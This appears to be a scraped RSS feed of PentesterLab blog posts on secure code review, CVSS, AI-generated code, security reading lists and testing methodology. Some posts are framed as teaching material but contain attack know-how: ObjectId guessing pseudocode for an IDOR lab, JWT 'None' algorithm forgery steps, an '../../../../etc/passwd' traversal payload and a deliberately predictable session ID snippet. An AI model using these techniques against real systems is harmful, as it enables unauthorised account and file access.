If you want to better understand the details of the latest RCE in Tomcat, make sure to read this post: Analysis of CVE-2025-24813 Apache Tomcat Path Equivalence RCE

]]> Sun, 16 Mar 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week11-2025 https://pentesterlab.com/blog/research-worth-reading-week11-2025 Secure code review is a fundamental practice in software security, aimed at identifying vulnerabilities, weaknesses, or areas for security improvement directly within source code. Unlike penetration testing, which assesses applications primarily through external interactions, secure code review dives deep into the application's logic, architecture, and code patterns to uncover issues that might otherwise remain hidden.

What is Secure Code Review?

Secure code review is the meticulous examination of an application's source code to discover security vulnerabilities, logical flaws, coding weaknesses, and opportunities to improve security practices. It can be applied to:

• Small portions of an application
• Complete applications
• Incremental changes, such as specific commits

By examining code directly, reviewers gain a comprehensive understanding of how data and logic flow through an application, reducing uncertainty and increasing the likelihood of detecting subtle vulnerabilities.

Who Performs Secure Code Reviews?

Several different roles actively engage in secure code reviews, each with slightly different objectives:

Developers

Developers often perform secure code reviews as part of their standard peer-review processes. Catching issues early helps mitigate risks before code reaches production, significantly reducing the cost of remediation.

Security Engineers and Code Reviewers

These professionals specialize in identifying vulnerabilities and security improvements. Their broader perspective allows them to spot patterns across various codebases and recognize subtle security flaws that developers might overlook.

Security Researchers, Exploit Writers, and Gadget Writers

Researchers and exploit writers perform targeted code reviews to identify vulnerabilities and write corresponding exploits or gadgets. Their work typically focuses on deep technical analysis to exploit identified weaknesses, proving the real-world impact of vulnerabilities.

Types of Issues Found During Code Review

Secure code review uncovers a wide variety of issues, including:

• Injection vulnerabilities (SQL Injection, Command Injection)
• Authentication and authorization flaws (IDOR, privilege escalation)
• Weak cryptographic implementations (weak encryption algorithms, predictable keys)
• Security misconfigurations (insecure defaults, overly permissive settings)
• Logic flaws and business rule bypasses
• (Simple) Backdoors or malicious code insertions
• Insecure randomness or predictable identifiers

Many of these issues, particularly cryptographic weaknesses and subtle logic flaws, might remain undiscovered through traditional penetration testing.

Real-World Examples

Play Session Injection

An excellent example is the Play Session Injection vulnerability I discovered in 2013. While it could have theoretically been found through penetration testing, the issue stood out prominently during code review. Specifically, this was a signature bypass vulnerability achieved by injecting directly inside a value added to the session. This highlights how a detailed examination of code often makes vulnerabilities more obvious and easier to understand.

Predictable Randomness

Another practical example involves generating session identifiers using predictable methods. For instance, consider this Python snippet:

import hashlib, time

session_id = hashlib.sha256(str(time.time()).encode()).hexdigest()

At first glance, this might seem secure to someone performing a black-box test, but the randomness is predictable due to its reliance solely on the current time. An attacker with knowledge of the approximate timestamp could potentially brute-force or predict session identifiers, leading to severe security issues.

Why Choose Code Review Over Penetration Testing?

Code review and penetration testing complement each other. Penetration testing, typically black-box test, involves probing the application externally, simulating real-world attacks. However, it often requires significant guesswork and inference.

Secure code review, by contrast, removes much of the uncertainty inherent in penetration testing. Direct code access enables reviewers to:

• Identify deeply embedded logic errors
• Detect vulnerabilities that aren't externally exploitable but can become severe risks under different conditions
• Spot weak cryptography or predictable identifiers not immediately visible through external interactions

However, it's important to note that secure code reviews are generally more time-consuming than penetration tests due to their detailed and comprehensive nature.

Challenges of Secure Code Review

Common challenges in secure code review include:

• Insufficient persistence or prematurely stopping review efforts.
• Unrealistic expectations leading to frustration and early abandonment.
• Insufficient continuous learning and skill maintenance.
• Over-reliance on simple grep-based scans, focusing too heavily on quick wins and missing deeper issues.

Best Practices

To be effective in secure code review:

• Perform detailed CVE analyses, which offer realistic complexity and help build skills gradually. Snippets or simplified examples often provide too easy a dopamine hit without sufficient learning depth.
• Review incremental code changes regularly rather than attempting extensive reviews infrequently.
• Engage closely with developers to understand context and intent.

Common Pitfalls

Avoid common pitfalls such as:

• Relying solely on grep-based tools or basic triage without a deep understanding of the application's context.
• Avoiding hands-on interaction or debugging of the application to remain "pure," which may limit effectiveness.
• Integrating Secure Code Review into Workflows

Integration depends significantly on your goals. To quickly eliminate low-hanging fruit, automation and tools integrated into CI/CD pipelines are beneficial. Alternatively, encouraging developers to proactively request code reviews, especially for sensitive code segments or areas of uncertainty, fosters security awareness and deeper security engagements.

Skill Development Recommendations

Web-specific resources are scarce, but notable general security resources include Mark Dowd's "The Art of Software Security Assessment (TAOSSA)." Although its best sections are not web-specific, its principles greatly enhance security review skills.

The book "Bug Bounty Bootcamp" by Vickie Li also contains a chapter dedicated to security code review.

Get Started with PentesterLab

If you are ready to boost your secure code review skills, PentesterLab offers specialized badges on Secure Code Review, Secure Code Review in Java and Secure Code Review in Golang covering real-world CVEs and vulnerabilities to enhance your expertise. For hands-on, interactive learning, consider joining our code review live-training sessions designed to sharpen your practical skills and elevate your security career.

Final Thoughts

Secure code review is a critical practice for proactively identifying and mitigating security risks. It empowers developers, security professionals, and researchers to uncover vulnerabilities that penetration testing alone might miss. Although it requires patience and continual learning, investing in secure code review ultimately strengthens the security posture of applications and organizations.

]]> Wed, 12 Mar 2025 00:00:00 +0000 https://pentesterlab.com/blog/introduction-to-secure-code-review https://pentesterlab.com/blog/introduction-to-secure-code-review h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Ruby Gadget, TOCTOU in C# and deserialisation ...

💎 New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails

Great post from Elttam on a new Ruby-on-Rails gadget they discovered: New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails.

﹟Understanding and Mitigating TOCTOU Vulnerabilities in C# Applications

A great article on Time of Check and Time of Use in C#: Understanding and Mitigating TOCTOU Vulnerabilities in C# Applications.

🪲 Sitecore: Unsafe Deserialisation Again! (CVE-2025-27218)

The AssetNote team published their first write-up in their new home: Sitecore: Unsafe Deserialisation Again! (CVE-2025-27218). Time to update your bookmarks...

]]> Sun, 09 Mar 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week10-2025 https://pentesterlab.com/blog/research-worth-reading-week10-2025 For years, organizations have relied on CVSS to assess and prioritize vulnerabilities. The framework was built by incredibly smart people, and developing it wasn’t easy. The problem isn’t CVSS itself but rather what it aims to achieve and, more importantly, how people use it.

The Problem With CVSS

First, many very smart people have worked on CVSS for a long time, and I’m sure putting it together wasn’t easy. They definitely did a great job. The issue lies more in what they were trying to achieve and how people use their work.

To give you an idea of where I’m coming from:

• I’ve seen organizations spend more time manually selecting which patches to apply based on CVSS scores than simply deciding, “Let’s apply them all,” regardless of how difficult the patch is to implement.
• Then, the pentest or vulnerability assessment team goes through each finding, deciding whether to report a bug based on whether it appears on their list of things to fix. Again, this isn’t a problem with CVSS itself—it’s a problem with how people use scoring.
• We spend too much time rating vulnerabilities and not enough time fixing them. Who hasn’t been in a meeting where a few risk managers—probably earning a few hundred thousand a year—argue over whether a vulnerability is an 8 or a 9, only to dump it into a risk register, never to be looked at again? On top of that, we waste too much time re-rating vulnerabilities to assess their risk in our specific environment. Maybe those risk managers' salaries would be better spent on people actually deploying patches and fixing vulnerabilities.

One fundamental issue with CVSS is that it tries to be everything for everyone. We can’t score all bug classes or systems on the same scale and expect meaningful results. Ideally, we should have separate scoring models: CVSS for hardware, CVSS for operating systems, and CVSS for web applications, each tailored to their unique risk profiles and variables.

A one-size-fits-all approach introduces too many layers of abstraction, stripping away the information that truly matters. If we categorized vulnerabilities by system type (web, hardware, OS, etc.), risk calculations would be far more relevant in their specific contexts.

The Score Obsession Problem

The reliance on numerical scores often leads to an ineffective approach to remediation. A common mindset is: “Let’s fix all vulnerabilities rated 8 and above this quarter, then we’ll see.” Who hasn’t heard this before?

This method actually makes remediation harder. It’s like asking developers or ops teams to walk through a field of plants and only pick the ones taller than 10 centimeters. They end up running all over the place instead of systematically addressing issues. A more efficient approach would be to clear the first half of the field instead.

Oversimplification of Risk

Another major flaw in CVSS-based decision-making is the oversimplification of risk. A vulnerability’s impact cannot be boiled down to a single number. Real-world vulnerabilities are complex, context-dependent, and interconnected. But numbers are easy to drop into an Excel file, so they persist.

Ironically, CVSS fails to properly capture (by design) one of the most crucial aspects of vulnerability management: the complexity and effort required for remediation. Organizations often spend weeks debating whether a vulnerability is a CVSS 8 or 9, rather than assessing the actual difficulty of implementing a fix and whether the issue is actively being exploited.

The Cattle vs. Pets Mindset Shift

We need to stop treating vulnerabilities as unique and special cases, deciding each one’s fate based on an arbitrary score. DevOps revolutionized infrastructure by shifting from a mindset of pets (carefully managed, individual machines) to cattle (interchangeable, disposable systems). Vulnerability management needs the same transformation.

Vulnerabilities aren’t pets that need to be named, assessed, and debated one by one. They’re cattle—handled in bulk, remediated continuously, and managed efficiently.

Chained Vulnerabilities and Systemic Risk

Another flaw in traditional vulnerability management is that it treats every vulnerability as an isolated issue. But in the real world, attackers chain vulnerabilities together to escalate impact. A low-scoring vulnerability in one system could become critical when combined with another issue. By focusing too much on individual CVSS scores, organizations fail to see the bigger picture.

Additionally, security teams should prioritize removing entire classes of vulnerabilities rather than playing an endless game of patching individual flaws. Fixing the root cause—whether it's insecure defaults, lack of sandboxing, or weak authentication—eliminates entire categories of risk rather than constantly reacting to new CVEs.

Time for a Mindset Shift

We’ve reached a point where vulnerabilities are so numerous that the only viable approach is continuous patching, not selective patching based on scores. The security industry needs to stop treating vulnerabilities as one-off problems to be ranked and debated. Instead, we need scalable, systemic solutions that reduce attack surfaces as a whole.

Vulnerabilities aren’t pets. They’re cattle. Treat them that way, and remediation will finally become manageable.

]]> Tue, 25 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/vulnerabilities-are-cattle-not-pets https://pentesterlab.com/blog/vulnerabilities-are-cattle-not-pets I’ve been thinking a lot about AI-generated code lately—and the impact it has and will continue to have on security code reviews. With AI, developers are pushing code faster than ever. But what does that mean for application security teams trying to keep everything secure?

The (Mostly) Good News

AI does a pretty decent job of churning out code without the typical “low-hanging fruit” vulnerabilities. Basic SQL injection? Simple stuff. Vanilla cross-site scripting? That’s well documented all over the internet. Of course AI has that covered—these vulnerabilities appear in countless posts, Q&As, and tutorials, making them easy for AI to learn and detect.

But here’s the catch: AI can only look for what it knows to look for. If the training data doesn’t include that sneaky, sophisticated vulnerability, AI isn’t going to magically spot it. And let’s face it: there’s a mountain of discussion around the “easy” bugs, but detailed analyses of complex or rare exploits are far less common in public resources.

Why AI Struggles with Complex Bugs

1. Sparse Training Data

AI "learns" from existing content—articles, code repositories, vulnerability databases. The deeper, lesser-known exploits might not be widely documented, so the AI has never been exposed to them in the first place. That means new or rare vulnerabilities can slip by undetected.

2. Lack of Context

Writing secure software is all about the details. AI-generated code depends heavily on the prompts given and the context it has access to. If your prompt is incomplete, or if crucial security considerations aren’t spelled out, AI might produce code that looks fine but has hidden flaws.

3. Code Repetition

Developers using AI code generators often end up duplicating code. You can spot AI-generated code by the lack of DRY (Don’t Repeat Yourself). It’s partly due to how AI models structure responses and partly because they have limited context windows. Repeated code can hide vulnerabilities in multiple places if not carefully reviewed. Two almost identical functions may have very different security properties.

4. Developer Detachment

When you’re not writing every line of code yourself, you’re less intimately familiar with your application’s inner workings. AI can churn out pages of code in seconds, but if you only skim through it, you might miss deeper architectural or logic issues. In security, a simple oversight in logic can create a serious vulnerability. Secure code is based on a deep understanding from developers of the code base, if developers didn't write the code, it is more likely that they don't full understand it.

The Ongoing Challenge

It’s likely that low-hanging fruit will become less common thanks to AI-generated code and AI security scanners. That’s good news. But the harder bugs—subtle logic flaws, novel exploits, and context-specific vulnerabilities—are here to stay (and may even multiply).

AI is undeniably reshaping how we approach coding. We’re seeing fewer trivial vulnerabilities surface in AI-generated code, which is a major plus. But it also means we have to be even more vigilant about the subtler (and arguably more dangerous) issues lurking under the hood.

Deepen Your Knowledge of Complex Vulnerabilities

If you’d like to dive further into the intricate side of secure code review—where subtle logic flaws and advanced exploitation techniques come into play—check out my Code Review Training. In this course, I go beyond the basics and teach you how to spot and address the sophisticated bugs that AI tools (and many developers) often overlook.

Final Thoughts

AI can handle the grunt work of scanning for common bugs and writing boilerplate code, freeing security teams to tackle the more intricate threats. However, no AI model can replace the creativity, domain knowledge, and intuition of a seasoned security professional—at least not yet.

So by all means, let AI expedite development and basic security checks. Just remember to roll up your sleeves and dig into the critical details. That’s where you’ll catch the complex bugs that no AI has dreamed of yet—because they don’t exist in any training data. And that’s how we stay a step ahead in an ever-evolving security landscape.

]]> Mon, 24 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/secure-code-review-ai-code https://pentesterlab.com/blog/secure-code-review-ai-code h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we are going on a TLS adventure with a side of supply chain attack...

🤯 GymTok: Breaking TLS Using the Alt-Svc Header

A mind-blowing write-up for a CTF challenge. The challenge may be a bit unrealistic, but the write-up is definitely worth reading. A chain of small issues and multiple TLS attacks: GymTok: Breaking TLS Using the Alt-Svc Header.

🔗 How We Hacked a Software Supply Chain for $50K

From DockerHub to NPM, an excellent example of a supply chain attack: How We Hacked a Software Supply Chain for $50K.

]]> Sun, 23 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week08-2025 https://pentesterlab.com/blog/research-worth-reading-week08-2025 I recently gave a workshop at OWASP Bay Area and presented a fresh slide deck. My main goal was to explain why people don’t like code review.

Here’s one of the slides:

It highlights how people typically perform code review (the tool-first approach):

1. They get the source code.
2. They run a SAST, grep, or another tool against the source code.
3. They triage the results to get a list of vulnerabilities and false positives.

This way of working can be very discouraging because you spend most of your time as a reviewer just triaging potential vulnerabilities. It’s also a sure way to avoid getting better at code review. You don’t really learn anything, you barely read the code, and you’ll never find any “unknown unknowns,” since you’re only looking for known patterns. Using this method also does little to increase your understanding of the codebase over multiple reviews—you basically start from scratch every single time. This is single-handedly the main reason why people hate code reviews.

On the other hand, the approach I advocate in my Security Code Review Training is closer to this (the reviewer-first approach):

1. You get the source code.
2. You read the source code and find a few weaknesses, vulnerabilities, or dangerous patterns.
3. You run a SAST, grep, or another tool against the source code—based on what you found—to scale your review.
4. You triage the results to discover even more vulnerabilities.

It’s a slightly different approach: automation is there to help you be more efficient and to scale your efforts. You are in charge as the reviewer. You read the code, you learn, you understand the structure of the code, and you become a better reviewer. Afterward, you can scale up with automation and end up finding deeper, more significant vulnerabilities.

Of course, a quick SAST/grep and triage will always have a place in code review for catching low-hanging fruit or when you have very little time. But if possible, try to use an approach where you, the reviewer, direct the process.

Next time you start a security code review, before you jump on your favorite tool, try to spend a bit of time reading the actual code.

]]> Tue, 18 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/why-you-hate-code-review https://pentesterlab.com/blog/why-you-hate-code-review h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Broken Pickle, Container Escape, DOMPurify, DNS, and Youtube/Google Bug Bounty...

📚 Exploring the DOMPurify library: Hunting for Misconfigurations (2/2)

Part two of the DOMPurify article is here. Make sure you check it out. There is a plethora of bad patterns when using DOMPurify: Exploring the DOMPurify library: Hunting for Misconfigurations (2/2).

🤯 Fragility of The Internet: How Sacrificial Nameservers allowed potential DNS hijacking of 1.6+ million domains

It's DNS again! An excellent post on hijacking DNS due to the process in place when domains are marked for deletion: Fragility of The Internet: How Sacrificial Nameservers allowed potential DNS hijacking of 1.6+ million domains.

🫙 How Wiz found a Critical NVIDIA AI vulnerability:  Deep Dive into a container escape (CVE-2024-0132)

A well-written post from the team at Wiz on a container escape with full details (and code): How Wiz found a Critical NVIDIA AI vulnerability:  Deep Dive into a container escape (CVE-2024-0132).

🐍 Malicious ML models discovered on Hugging Face platform

An ML model leveraging a broken pickle payload to gain RCE... You can read more in Malicious ML models discovered on Hugging Face platform.

🎥 Leaking the email of any YouTube user for $10,000

A must-read if you're planning to hunt on YouTube as part of the Google Bug Bounty: Leaking the email of any YouTube user for $10,000.

]]> Mon, 17 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week07-2025 https://pentesterlab.com/blog/research-worth-reading-week07-2025 When talking with security folks about the benefits of running an internal Capture the Flag (CTF) event or signing developers up for PentesterLab, I sometimes hear: “I don’t want my developers to become hackers.” This is when I explain the advantages of letting developers dip their feet into web hacking.

Embracing the Hacker Mindset

First, a few hours or weeks of exposure to web hacking will not instantly turn developers into malicious pentesters or hackers. But it will give them a critical new perspective—the hacker mindset. This mindset encourages them to pause and reflect: “What would the bad guys do?”

Application Security Engineers frequently mention the challenge of scaling security. Imagine if you had a “script kiddie” developer writing or reviewing code, rather than someone who has never considered the attacker’s viewpoint. By teaching developers what is possible, you reduce the number of “I didn’t know you could do that” moments.

Practical Benefits of Hands-On Training

Let’s say one of your developers spends a few hours in a training session or a CTF. Maybe they learn just enough to spot one overlooked bug each month or to make your application that tiny bit more resilient. Over time, these small gains add up to a significant improvement in security.

Now, imagine if every time developers write a new feature or perform a peer code review, they briefly switch to a “black hat” mindset: “If I wanted to attack this, where would I start?” They might identify weaknesses before any bad actor does—or before the code even merges. And if they’re unsure, they can reach out to security teams earlier. This proactive approach helps kill bugs when they’re cheaper and easier to fix.

What If They Get Addicted to Web Hacking?

You might wonder what happens if your developers find hacking so engaging that they dive in deeper. In fact, this is the best possible outcome. You could transition these enthusiastic individuals into your application security team, where their inside knowledge of your codebase and deployment environment becomes invaluable.

This path also fosters professional growth. Instead of recruiting external security experts, you’re developing talent in-house—often a faster, more cost-effective strategy.

Real-World Implementation Strategies

Some of PentesterLab’s clients already do this. They purchase one license for every three or four developers, then rotate these licenses quarterly. They typically start with a short, three-hour introduction session to showcase how PentesterLab works and help participants solve a few labs.

Many also use PentesterLab’s “Organisation Badge” feature to create badges aligned with the technologies used internally. This custom approach increases both the focus of the training and overall team engagement.

Conclusion

Encouraging developers to learn about web hacking isn’t about turning them into pentesters or rogue attackers—it’s about empowering them to build stronger, more resilient applications from the start. By routinely asking “What would the bad guys do?” during development and code review, they can uncover issues earlier, reduce security risks, and even grow into passionate security champions within your organization.

If you’re considering ways to embed secure coding practices, CTF-style challenges, or PentesterLab training into your workflow, remember: a small investment in hacker-focused training can pay off substantially with fewer bugs, a stronger security culture, and more confident, informed developers. It’s a win for your team, your organization, and for the security of everyone who relies on your applications.

]]> Thu, 13 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/why-devs-should-learn-hacking https://pentesterlab.com/blog/why-devs-should-learn-hacking h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

BCrypt, Supply Chain, CSP, and so much more!

🔒 Clone2Leak: Your Git Credentials Belong To Us

Another excellent article from Flatt Security on attacking git clients: Clone2Leak: Your Git Credentials Belong To Us.

🤯 Go Supply Chain Attack

Incredible example of a Go Supply Chain Attack: Go Supply Chain Attack: Malicious Package Exploits Go Module Proxy Caching for Persistence.

🔑 What Okta Bcrypt incident can teach us about designing better APIs

Remember the Okta security incident? This article starts from it and then plays one of my favourite games: comparing implementations of the same thing. Make sure you read it: What Okta Bcrypt incident can teach us about designing better APIs.

ℹ️ form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP

A great blog on CSP with a lot of bypasses, definitely worth exploring: form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP.

✍️ A Brief History of Code Signing at Mozilla

Signing a binary, that can't be that hard... right? This article demonstrates how something that may seem simple on paper can actually be very complex: A Brief History of Code Signing at Mozilla.

🚰 HTTPTap

A pretty handy tool to finish... HTTPTap! An amazing way to trace HTTP requests sent by a program in just one command: HTTPTap.

]]> Mon, 10 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week06-2025 https://pentesterlab.com/blog/research-worth-reading-week06-2025 I often get asked about pentesting and code review methodologies. It seems like people are hoping for a secret sauce that will make it rain bugs. I wish I could give them that.

The reality is that the methodology used during a test or review depends a lot on your goals and the target. You should not use the same strategy for all tests and all targets. And the methodology is dictated by your strategy.

If your target has been pentested every year for the past five years, you don't want to spend too much time on the basics.

If your target is going through its first test, you probably want to spend more time on the basics.

If you are trying to demonstrate impact, you may spend more time going down a few rabbit holes than if you want to provide a general security posture of the application.

In this blog post, I will try to illustrate what I mean...

A Simplified View

Let's say we have one application with many features, or perhaps multiple applications. It's pretty much the same concept for this discussion—basically, the number of things we have to test. We also have a “depth” indicator, which is completely arbitrary, just to demonstrate my point! It looks something like this:

This is what we are going to apply our testing to.

Vulnerabilities

Now, we also have vulnerabilities. Some have a small impact (small bugs), and some have a big impact (big bugs). Some are easy to find (shallow depth), while others are harder to find (deeper depth). It looks something like this:

Ideally, you should be able to find all of these bugs.

Time Constraints

Unfortunately, penetration testing and code review are usually time-bound exercises. Bug bounties are not so constrained, which is why they sometimes provide better results if you are lucky enough to have very resilient researchers on your program.

Checklist Methodology and Uniform Coverage

Many large companies have a dedicated checklist or methodology to follow. This is the kind of result you usually expect:

This is far from perfect, but at least you are covering a minimum level of security across assets and functionalities. The depth really depends on the quality of the methodology or checklist. You may get something like this:

The key point is this uniformity across all assets or functionalities. It is most likely what you want if you are buying your first pentest—a broader view of your security posture.

Demonstrating Impact

In some cases, you may want to demonstrate impact or test critical parts of the application or assets, so you may opt for something like this:

This is also often what you get when you have really good or very specialized people looking at your application(s). It is not necessarily better; it is just another strategy for testing.

Specialized Testing

You can also get testers or reviewers (especially for bug bounties) who are really good at one or a few specific things, and they will test those areas on all your assets or in all functionalities, leveraging those aspects of your application.

Deep Bugs

Some people only test for deep bugs and don't want to test for simpler issues. There are multiple reasons for this: often a bigger impact, less chance of duplicates in bug bounties, or a longer exploit lifespan for security researchers:

None of these strategies is necessarily better or worse than the others. It mostly depends on what you are testing and why you are testing.

Conclusion

Ultimately, choosing the right strategies comes down to aligning your goals with the nature of the target. Whether you aim for breadth to gain a general security overview or depth to demonstrate significant impact, your approach should be context-driven. Understanding your assets, the application's maturity, and your specific objectives will help ensure you get the most value out of your testing efforts.

]]> Tue, 04 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/pentesting-code-review-strategies https://pentesterlab.com/blog/pentesting-code-review-strategies h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

OAuth2, TLS security, and AppSec eZine are celebrating their 11th year!

🤝 Common OAuth Vulnerabilities

An excellent article from the team at DoyenSec on one of my favorite subjects: Common OAuth Vulnerabilities.

☠️ The Slow Death of OCSP

I know you read that wrong; I did too at first. Still a very interesting subject: The Slow Death of OCSP. We need more of those summaries of why things work or don't in security.

📚 11th year of AppSec eZine

The latest edition of AppSec eZine is here! Celebrating 11 years! Read issue #572.

]]> Sun, 02 Feb 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week05-2025 https://pentesterlab.com/blog/research-worth-reading-week05-2025 We recently released a lab on MongoDB IDOR and how to guess ObjectIds. Basically, you need to find the ObjectId of an account that was created 7 days ago. In those 7 days, a few accounts were created and deleted to make things a bit more fun.

We have had plenty of people struggling with this lab. For good reasons, it’s not an obvious lab. You cannot just ./hack_objectid to solve it, or at least not to solve it efficiently. This forces people to write their own script. Your script should take an ObjectId, retrieve the current timestamp and counter from that ObjectId, and then play with both values to try to find the admin account.

This is where you can see the power of two things when trying to exploit vulnerabilities: Invariants and Short Feedback Loops.

Without Invariants and Short Feedback Loops

Basically, one of our subscribers will write a script that attacks the online lab to try to find the ObjectId to get the key to solve the challenge. It won't work the first time; they will tweak the code, run it again; it won't work, they will tweak the code again and re-run the code. The problem is that every single change costs around 10 minutes of testing. To make matters worse, you have nothing to do during those 10 minutes, so people tend to get distracted—a few YouTube Shorts, some TikTok, and maybe a bit of social media... This quickly becomes a nightmare to stay focused on solving the lab.

Leveraging Invariants

There is a good chance that decoding and re-encoding the ObjectId may go wrong, especially if you haven’t done it before. To make sure your code does the right thing, you need to find invariants that you can leverage—basically, ways to validate your code.

A mathematical example would be to try to compute 3x4. You should get 12. Then you can do 12/3 and 12/4 to make sure you get 4 and 3. This allows you to check that the value 12 is correct.

We want to find something similar for our ObjectId. Once we have written our decoding (let’s call it DEC) and encoding (ENC) functions, we take the ObjectId and check that:

timestamp, uniq_value, counter = DEC(objectId) 
if ObjectId == ENC(timestamp, uniq_value, counter) 
  // WIN 
else 
  // There is something wrong with our decoding and encoding 

A very simple check, but it will prevent a lot of problems and save a lot of testing time. It doesn’t prevent issues in both functions that may cancel each other out, though. To account for this, we can leverage a third-party website or check that the timestamp we just created and decoded matches the current time (that we can retrieve using date +%s on Unix for example).

Short feedback loops

Now that we know our encoding/decoding seems to work, it’s time to leverage Short Feedback Loops. We know that the ObjectId was created around 7 days ago. Let’s mimic that code and see if we can find it.

timestamp, uniq_value, counter = DEC(objectId) 
timestamp -= 7*24*60*60 // 7 days 
counter -= 10 
newobjectid = ENC(timestamp, uniq_value, counter) 

We get our new ObjectId named newobjectid, and we can now try to find it locally by writing code that will just search for this value:

timestamp, uniq_value, counter = DEC(objectId) 
for timestamp_delta in range(-10, 10): 
  for counter_delta in range(-12, 0): 
    test = ENC(timestamp + timestamp_delta, uniq_value, counter + counter_delta)
    if test == newobjectid 
      // WIN !! 
    ... 

This won’t guarantee that our exploit works, but it will increase the likelihood that it does and will speed up development significantly.

Conclusion

As a security tester, you have to leverage Invariants and Short Feedback Loops. This is the best way to limit the risk of mistakes and ensure that mistakes are quickly detected. This will save you a ton of time, work, and frustration. Next time you are testing or exploiting a vulnerability, ask yourself: "Can I find invariants to check that my code does what I think it does?" and "How can I create a short feedback loop?" to speed up the process and limit frustration.

]]> Tue, 28 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/invariants-feedback-loops-web-pentesting https://pentesterlab.com/blog/invariants-feedback-loops-web-pentesting A lot of people, when testing for security issues, jump right into "full exploitation" mode. They might flip multiple parameters in a JWT token, change the username, and add a different algorithm—all in a single shot. While this feels powerful, it often creates unnecessary confusion and can lead to missed vulnerabilities or misleading results.

Instead, the principle of minimal changes is about only modifying the parameters that are absolutely necessary to test a specific idea. When everything else stays the same, you reduce the chance of something unrelated interfering with your test. This article explores why this methodical approach is so effective, using JWT manipulation and file path traversal as illustrations.

The Problem with "Full Exploitation"

When you decide to test multiple aspects of a vulnerability at once—like changing a username, an algorithm, and a signature in a JWT—you end up not knowing which change triggered the outcome. If the test fails, was it because the username doesn’t exist? Or did the application detect the suspicious algorithm? Or maybe the removed signature was the issue. Conversely, if it succeeds, you won’t know exactly which change made it possible.

Worse yet, external factors often come into play. Maybe that new username you tried is deactivated or protected by two-factor authentication. You could easily dismiss a valid bug simply because the external system behavior overshadowed your actual test. This risk of false negatives (thinking a bug doesn’t exist when it actually does) is one of the biggest downsides to the "full exploitation" approach.

The Case for Minimal, Incremental Changes

By focusing on the smallest possible alteration, you can zero in on the vulnerability itself without risking side effects from unrelated features or validation checks. This approach also helps you learn how the application behaves in response to incremental, low-risk modifications before escalating to more invasive payloads.

When each step is small, you have a clear link between action and result. You make a simple change, observe how the application responds, and draw a direct conclusion about whether you might be onto something. If you get a clue that the application is tolerating your small tweak, you can then push further—still one step at a time.

Example: JWT None Algorithm

Full Exploitation Gone Wrong

A common mistake when testing for the infamous None algorithm vulnerability in JWTs is to change everything at once. You might switch the username from test to admin, change the algorithm to None, and remove the signature in a single request. If it fails, was it because admin doesn’t exist? Because the system rejected the None algorithm? Or maybe there was another security control interfering.

Minimal Change in Action

Instead, focus on the parts tied directly to the vulnerability you want to test. Keep the username as test—something that already works. Then change the algorithm to None and remove the signature, and see if the application accepts the token. If it does, you’ve confirmed the vulnerability without worrying about any user-specific complications.

Example: File Path Traversal

Jumping to /etc/passwd

When you suspect a file path traversal flaw, it’s tempting to go straight for ../../../../etc/passwd. But this giant leap can trigger alarms, get blocked by intrusion detection systems, or fail due to path normalization you don’t fully understand yet. It might cause you to believe the vulnerability doesn’t exist, when in fact it’s just being thwarted by a security filter or extra validation.

Starting Small

A better approach is to try something like test/../test/1234 if you have access to /test/1234. This might not confirm a full traversal bug, but if it isn’t rejected, you learn that path components like ../ aren’t fully blocked. You can then build from there, maybe moving to another_directory/../test/1234 next. Each step tells you more about how the application handles paths, giving you a clearer idea of whether a more serious exploit will eventually work.

Conclusion

Whenever you’re testing for a particular vulnerability, ask yourself: "What’s the least amount of change I can make that would either prove or disprove this bug?" By taking small, deliberate steps, you reduce false negatives, keep your tests focused, and gather more precise information about how the application handles your input.

This technique not only boosts your efficiency but also eliminates the confusion caused by full-blown exploitation attempts. By taking small, deliberate steps, you build a deeper understanding of the application's behavior, resulting in more accurate results, uncovering vulnerabilities more reliably, and minimizing the risk of missing critical issues.

]]> Mon, 27 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/minimal-changes-vulnerability-testing https://pentesterlab.com/blog/minimal-changes-vulnerability-testing h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

A lot of long-form content here, packed with valuable insights. Grab a cup of coffee or tea before you dive in!

🎮 Reverse Engineering Call Of Duty Anti-Cheat

If you want to learn more about CoD’s anti-cheat mechanisms, this article is great: Reverse Engineering Call Of Duty Anti-Cheat.

👾 Attacks on Maven proxy repositories

A fantastic example of a CI/CD attack, showcasing how to achieve RCE in Sonatype Nexus and JFrog Artifactory: Attacks on Maven proxy repositories.

🎹 World’s First MIDI Shellcode

